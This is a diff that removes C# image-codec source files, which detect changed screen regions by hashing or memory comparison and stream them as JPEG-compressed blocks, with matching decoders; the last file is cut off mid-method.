using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCacheCodec : IUnsafeCodec
|
||||
{
|
||||
private const int BlockCount = 5;
|
||||
private const int HashBlockCount = 8192;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private Bitmap decodedBitmap;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private PixelFormat EncodedFormat;
|
||||
private MurmurHash2Unsafe hasher;
|
||||
private SortedList<int, SortedList<int, uint>> EncodeBuffer;
|
||||
private Rectangle[] Offsets;
|
||||
private BlockInfo[] EncodeHashBlocks;
|
||||
private BlockInfo[] DecodeHashBlocks;
|
||||
|
||||
public ulong EncodedFrames { get; private set; }
|
||||
public ulong DecodedFrames { get; private set; }
|
||||
|
||||
public UnsafeCacheCodec(int ImageQuality = 80)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.hasher = new MurmurHash2Unsafe();
|
||||
this.Offsets = new Rectangle[BlockCount];
|
||||
this.EncodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
this.DecodeHashBlocks = new BlockInfo[HashBlockCount];
|
||||
for (int i = 0; i < HashBlockCount; i++)
|
||||
{
|
||||
EncodeHashBlocks[i] = new BlockInfo();
|
||||
DecodeHashBlocks[i] = new BlockInfo();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
if (ImageSize.Width == 0 || ImageSize.Height == 0)
|
||||
throw new ArgumentException("The width and height must be 1 or higher");
|
||||
if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount)
|
||||
throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount);
|
||||
|
||||
int PixelSize = 0;
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
int Stride = ImageSize.Width * PixelSize;
|
||||
int RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedFrames == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
|
||||
double size = (double)ImageSize.Width / (double)BlockCount;
|
||||
|
||||
//fix floating point here
|
||||
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
|
||||
{
|
||||
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
|
||||
}
|
||||
|
||||
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
for(int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
if (!EncodeBuffer.ContainsKey(y))
|
||||
EncodeBuffer.Add(y, new SortedList<int, uint>());
|
||||
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
|
||||
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<HashBlock> ImageOffsets = new List<HashBlock>();
|
||||
List<uint> ImageHashes = new List<uint>();
|
||||
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
Rectangle ScanRect = Offsets[i];
|
||||
ScanRect.Y = y;
|
||||
|
||||
int offset = (y * Stride) + (ScanRect.X * PixelSize);
|
||||
|
||||
if (offset+Stride > Stride * ImageSize.Height)
|
||||
break;
|
||||
|
||||
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
|
||||
uint BlockOffset = Hash % HashBlockCount;
|
||||
|
||||
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
|
||||
|
||||
if (EncodeBuffer[y][ScanRect.X] != Hash)
|
||||
{
|
||||
if (!blockInfo.Hashes.ContainsKey(Hash))
|
||||
{
|
||||
int index = ImageOffsets.Count - 1;
|
||||
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[index].Location;
|
||||
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
}
|
||||
|
||||
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
ImageHashes.Add(Hash);
|
||||
}
|
||||
EncodeBuffer[y][ScanRect.X] = Hash;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ImageOffsets.Count > 0)
|
||||
{
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
Rectangle TargetOffset = Offsets[i];
|
||||
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
|
||||
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
int blockStride = PixelSize * TargetOffset.Width;
|
||||
List<HashBlock> UsedOffsets = new List<HashBlock>();
|
||||
|
||||
for (int j = 0; j < ImageOffsets.Count; j++)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[j].Location;
|
||||
|
||||
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
|
||||
continue; //error in 1440p, did not tested futher
|
||||
|
||||
for (int o = 0, offset = 0; o < rect.Height; o++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
UsedOffsets.Add(ImageOffsets[j]);
|
||||
}
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
TmpBmp.Dispose();
|
||||
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
|
||||
if (UsedOffsets.Count > 0)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
|
||||
for (int j = 0; j < UsedOffsets.Count; j++)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
|
||||
}
|
||||
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
|
||||
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
|
||||
outStream.Write(CompressedImg, 0, CompressedImg.Length);
|
||||
}
|
||||
|
||||
|
||||
//TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
}
|
||||
|
||||
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
|
||||
{
|
||||
int height = 0;
|
||||
for (int i = 0; i < ImageOffsets.Count; i++)
|
||||
{
|
||||
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
|
||||
height += ImageOffsets[i].Location.Height;
|
||||
}
|
||||
return height;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
//return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
private class BlockInfo
|
||||
{
|
||||
public SortedList<uint, HashBlock> Hashes { get; private set; }
|
||||
public BlockInfo()
|
||||
{
|
||||
Hashes = new SortedList<uint, HashBlock>();
|
||||
}
|
||||
}
|
||||
private class HashBlock
|
||||
{
|
||||
public bool Cached { get; set; }
|
||||
public uint Hash { get; set; }
|
||||
public Rectangle Location { get; set; }
|
||||
|
||||
public HashBlock(uint Hash, bool Cached, Rectangle Location)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.Cached = Cached;
|
||||
this.Location = Location;
|
||||
}
|
||||
public HashBlock()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
private class ImageOffset
|
||||
{
|
||||
public Rectangle Location { get; set; }
|
||||
public List<uint> Hashes { get; set; }
|
||||
|
||||
public ImageOffset()
|
||||
{
|
||||
this.Hashes = new List<uint>();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,308 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCachedStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private static Size CheckBlock = new Size(50, 50);
|
||||
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
|
||||
private List<Frame> Frames = new List<Frame>();
|
||||
public const int MAX_FRAMES = 120;
|
||||
|
||||
private ulong[] DecodeBuffer;
|
||||
private Bitmap DecodedBitmap;
|
||||
private List<Bitmap> DecodedFrames = new List<Bitmap>();
|
||||
|
||||
public UnsafeCachedStreamCodec(int ImageQuality)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
|
||||
|
||||
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
|
||||
int RawSizeUsed = 0;
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
List<Rectangle> ChangedBlocks = new List<Rectangle>();
|
||||
|
||||
for(int y = ScanArea.Y; y < ScanArea.Height; )
|
||||
{
|
||||
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
|
||||
for (int x = ScanArea.X; x < ScanArea.Width; )
|
||||
{
|
||||
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
|
||||
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
|
||||
decimal FinalHash = 0;
|
||||
|
||||
for (int h = 0; h < height; h++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
|
||||
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
|
||||
}
|
||||
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(x, y, width, height));
|
||||
|
||||
bool FoundBlock = false;
|
||||
decimal FoundHash = 0;
|
||||
int FrameIndex = 0;
|
||||
for (int i = 0; i < Frames.Count; i++)
|
||||
{
|
||||
decimal hash = Frames[i].GetHashBlock(x, y);
|
||||
if (hash == FinalHash)
|
||||
{
|
||||
FrameIndex = i;
|
||||
FoundBlock = true;
|
||||
FoundHash = hash;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
frame.AddHashBlock(x, y, FinalHash);
|
||||
|
||||
if (!FoundBlock)
|
||||
{
|
||||
int index = ChangedBlocks.Count - 1;
|
||||
Rectangle cBlock = new Rectangle(x, y, width, height);
|
||||
|
||||
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}
|
||||
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newHeight = cBlock.Height + rect.Height;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}*/
|
||||
else
|
||||
{
|
||||
ChangedBlocks.Add(cBlock);
|
||||
}
|
||||
RawSizeUsed += BlockStride * height;
|
||||
}
|
||||
x += width;
|
||||
}
|
||||
y += height;
|
||||
}
|
||||
|
||||
//write all the blocks
|
||||
for (int i = 0; i < ChangedBlocks.Count; i++)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
ChangedBlocks.Clear();
|
||||
|
||||
Frames.Add(frame);
|
||||
if (Frames.Count > MAX_FRAMES)
|
||||
Frames.RemoveAt(0);
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (DecodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
DecodedFrames.Add(DecodedBitmap);
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(DecodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return new Bitmap(10, 10);
|
||||
}
|
||||
|
||||
private class HashedBlock
|
||||
{
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public int FrameIndex { get; private set; }
|
||||
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
|
||||
{
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
this.FrameIndex = FrameIndex;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
|
||||
}
|
||||
}
|
||||
|
||||
private class Frame
|
||||
{
|
||||
public decimal[,] HashBlocks { get; private set; }
|
||||
|
||||
public Frame(int ImageWidth, int ImageHeight)
|
||||
{
|
||||
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
|
||||
}
|
||||
|
||||
public void AddHashBlock(int x, int y, decimal Hash)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
this.HashBlocks[x, y] = Hash;
|
||||
}
|
||||
public decimal GetHashBlock(int x, int y)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
return this.HashBlocks[x, y];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,365 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeMiniCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private Size CheckBlock { get { return new Size(50, 50); } }
|
||||
|
||||
public UnsafeMiniCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (this.ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format + " is not supported.");
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
//first frame
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
|
||||
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
|
||||
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
//1. Check for the changes in height
|
||||
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
|
||||
{
|
||||
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//2. Capture all the changes using the CheckBlock
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Rectangle scanBlock = Blocks[i];
|
||||
|
||||
//go through the Blocks
|
||||
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
|
||||
{
|
||||
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
|
||||
{
|
||||
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
|
||||
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
|
||||
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
//scan the block from Top To Bottom and check for changes
|
||||
bool FoundChanges = false;
|
||||
for (int blockY = y; blockY < y + blockHeight; blockY++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
FoundChanges = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
int index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//maybe a too hard algorithm but oh well
|
||||
